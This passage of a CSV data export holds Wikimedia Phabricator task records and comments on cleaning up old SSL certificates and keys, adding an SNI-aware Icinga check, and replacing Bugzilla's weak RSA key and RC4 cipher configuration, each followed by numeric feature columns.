+389168,more robust certificate chain creation in puppet,//AdminCc jeremyb added by jeremyb//,,,1412558748,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+84536,(old) SSL certificates cleanup,"%%%we should go through the entire files/ssl in both, public and private%%%
+%%%repositories and remove certificates we don't need anymore, and also the%%%
+%%%corresponding keys in the private repo%%%
+%%%here are some patches starting that, but there are very likely more of them%%%
+%%%https://gerrit.wikimedia.org/r/#/q/status:open+project:operations/puppet+branch:production+topic:SSL-cert-cleanup,n,z%%%
+%%%also work with robh to make sure these are removed/revoked properly in other%%%
+%%%places, like web interfaces of the different CAs we used for these in the past,%%%
+%%%where appropriate%%%
+",Medium,50.0,1412614292,1432914688.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_description,resolved,True,c3,1,True,True,True,-39,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,1
+2255183,(old) SSL certificates cleanup,"Change 988084 **merged** by Dzahn:
+%%%[labs/private@master] secret: delete fake keys for hosts in Tampa(!)%%%
+https://gerrit.wikimedia.org/r/988084",,,1704738477,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,3,False,,,444,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+2254188,(old) SSL certificates cleanup,"Change 988084 had a related patch set uploaded (by Dzahn; author: Dzahn):
+%%%[labs/private@master] secret: delete fake keys for hosts in Tampa(!)%%%
+https://gerrit.wikimedia.org/r/988084",,,1704491578,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,3,False,,,444,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+465810,(old) SSL certificates cleanup,resolving since all subtasks are closed ,,,1432914688,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-5,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+389239,(old) SSL certificates cleanup,Dependency on ticket #8689 added by dzahn,,,1413846014,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+389230,(old) SSL certificates cleanup,Dependency on ticket #8654 added by dzahn,,,1413404584,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+389219,(old) SSL certificates cleanup,Dependency on ticket #8631 added by dzahn,,,1412978748,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+389210,(old) SSL certificates cleanup,Dependency on ticket #8630 added by dzahn,,,1412978748,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+389200,(old) SSL certificates cleanup,Dependency on ticket #8629 added by dzahn,,,1412978748,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+389188,(old) SSL certificates cleanup,//Status changed from 'new' to 'open' by RT_System//,,,1412791782,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+389177,(old) SSL certificates cleanup,"%%%The blog and techblog certificates are still in use. We have a third party%%%
+%%%(automattic) hosting the blogs, and using those certificates.%%%
+%%%As the pub/private git repos are the most secure place for US to store said%%%
+%%%certificate and key (and we need to keep them as well, we paid for them!), I%%%
+%%%say leave them there, do not delete.%%%
+%%%--%%%
+%%%Rob Halsell%%%
+%%%Operations Engineer%%%
+%%%Wikimedia Foundation, Inc.%%%
+%%%E-Mail: <rhalsell at wikimedia>%%%",,,1412791782,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1
+389167,(old) SSL certificates cleanup,"%%%current list of ticket suggested for removal is so far:%%%
+%%%noc.wikimedia.org%%%
+%%%sanger.wikimedia.org%%%
+%%%nfs1.pmtpa.wmnet%%%
+%%%nfs2.pmtpa.wmnet%%%
+%%%virt-star.pmtpa%%%
+%%%snuggle.wikimedia.org%%%
+%%%blog.wikimedia.org%%%
+%%%techblog.wikimedia.org%%%
+%%%ishmael.wikimedia.org%%%
+%%%contacts.wikimedia.org%%%",,,1412791526,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+389157,(old) SSL certificates cleanup,"%%%and also remove them from all servers they have been installed on, use ""shred""%%%
+%%%instead of just rm to get rid of the key%%%",,,1412614361,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-39,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1
+84444,Create icinga HTTPS check that supports SNI,"We now use SNI in a few places on the cluster, at least on misc-web and on the
+Bugzilla server.
+Unless I'm mistaken (correct me if I'm wrong) we don't check for those SSL
+certificates yet with SNI. Let's create an Icinga check that supports this (in
+Puppet).",Medium,50.0,1411035235,1421717958.0,PHID-USER-hovi6c77qompv5qd7gtz,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-gzbjpjinqci3vqgwpcl2,task_description,resolved,True,c3,1,False,False,True,-41,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,1,0
+401585,Create icinga HTTPS check that supports SNI,"We do check for the SNI certificates for a while now. check_ssl, the new SSL check, also supports that.",,,1421717958,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-gzbjpjinqci3vqgwpcl2,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+83768,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%break out from #2517 which was about the BEAST attack (and has been fixed in%%%
+%%%the past).%%%
+%%%current issues left on bugzilla.wikimedia.org%%%
+%%%---%%%
+%%%Key RSA 1024 bits WEAK%%%
+%%%RC4 cipher is used with TLS 1.1 or newer protocols, even though stronger%%%
+%%%ciphers are available.%%%
+%%%The server does not support Forward Secrecy with the reference browsers.%%%
+%%%---%%%
+%%%https://www.ssllabs.com/ssltest/analyze.html?d=bugzilla.wikimedia.org%%%
+
+__________________________
+
+**Bugzilla Ticket**: [[ https://old-bugzilla.wikimedia.org/show_bug.cgi?id=53259 | 53259 ]] => {T55259}
+
+
+**Refers To:**
+{T83471}
+{T83928}
+
+**Referred To By:**
+{T80790}
+{T81221}",Medium,50.0,1397570010,1418860800.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,False,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_description,resolved,True,c3,1,True,False,True,-64,True,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1
+382946,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",//AdminCc jeremyb added by jeremyb//,,,1409352248,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+382938,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",//Status changed from 'new' to 'resolved' by dzahn//,,,1409175731,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+382927,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%half resolved, half rejected, also see 7534, fixed dependency that wasn't%%%
+%%%really a dependency%%%",,,1409175731,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0
+382918,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Reference to ticket #7534 added by dzahn,,,1409175686,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+382909,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Dependency on ticket #7534 deleted by dzahn,,,1409175686,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+382902,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%calling it resolved because we fixed the RC4 usage and i dont think we are%%%
+%%%going to buy a new cert now that we already started importing bugs to%%%
+%%%phabricator%%%",,,1409175660,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+382894,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Dependency on ticket #7534 added by fgiunchedi,,,1400585857,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+382884,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","//Subject changed from 'bugzilla SSL - weak RSA key, RC4 usage' to 'bugzilla SSL - weak RSA key, <s>RC4 usage</s>' by dzahn//",,,1397826594,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-63,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+382872,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%merged, we don't use RC4 anymore now.%%%
+%%%but Qualis still says we don't support PFS with the reference browsers. and the%%%
+%%%key being weak is of course not a webserver config issue%%%",,,1397825931,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-63,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+382862,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",//Bugzilla ticket 53259 added by dzahn//,,,1397635566,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+382851,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Reference to ticket #6763 added by dzahn,,,1397635530,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+382840,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%On Tue Apr 15 17:22:28 2014, CSteipp wrote:%%%
+> Does apache terminate the ssl on that server, or do we terminate on
+> the nginx
+%%%On Bugzilla (zirconium) itself.%%%
+%%%https://gerrit.wikimedia.org/r/#/c/126204/ (make the suite easier to configure)%%%
+%%%https://gerrit.wikimedia.org/r/#/c/126205/ (change to the Mozilla recommended%%%
+%%%suite)%%%
+%%%https://gerrit.wikimedia.org/r/#/c/126206/ (change Protocol setting)%%%",,,1397635469,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,1,0,0,0,0,1,0,1
+382828,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Issue taken by **dzahn**,,,1397626189,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+382817,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%Does apache terminate the ssl on that server, or do we terminate on the nginx%%%
+%%%cluster? If it's on the bugzilla server itself, and the general load isn't a%%%
+%%%huge problem right now, I'd definitely be up for trying Mozilla's recommended%%%
+%%%ciphersuite [https://wiki.mozilla.org/Security/Server_Side_TLS]. I'd expect to%%%
+%%%see 5-10% overhead, but it would be great to get real numbers.%%%
+%%%ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:ECDHE-RSA-RC4-SHA:ECDHE-ECDSA-RC4-SHA:AES128:AES256:RC4-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!3DES:!MD5:!PSK%%%
+%%%PFS is preferred, and rc4 is discouraged (but preferred over 3des, which has%%%
+%%%horrible performance), so overall load will definitely increase, just how much%%%
+%%%depends on what kinds of browsers hit the server.%%%",,,1397582548,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,1,0,1,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1
+382806,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%the same is true for wmflabs.org and likely all/a lot of other servers, will%%%
+%%%have to check all if we really wanted a stronger key%%%",,,1397578794,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1
+382798,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",//Requestor ariel added by dzahn//,,,1397570363,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+382788,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",//AdminCc CSteipp added by dzahn//,,,1397570340,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+382779,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Reference by ticket #3172 added by dzahn,,,1397570231,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+382768,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%On Tue Apr 15 13:53:30 2014, dzahn wrote:%%%
+> break out from #2517 which was about the BEAST attack (and has been fixed in
+> the past).
+>
+> current issues left on bugzilla.wikimedia.org
+>
+> ~~
+> Key RSA 1024 bits WEAK
+>
+> RC4 cipher is used with TLS 1.1 or newer protocols, even though stronger
+> ciphers are available.
+>
+> The server does not support Forward Secrecy with the reference browsers.
+> ~~
+> https://www.ssllabs.com/ssltest/analyze.html?d=bugzilla.wikimedia.org
+__________________________
+
+{F22161}",,,1397570175,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1
+382760,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Reference by ticket #2517 added by dzahn,,,1397570114,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+83211,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%gurvin 1H IN A 208.80.152.20%%%
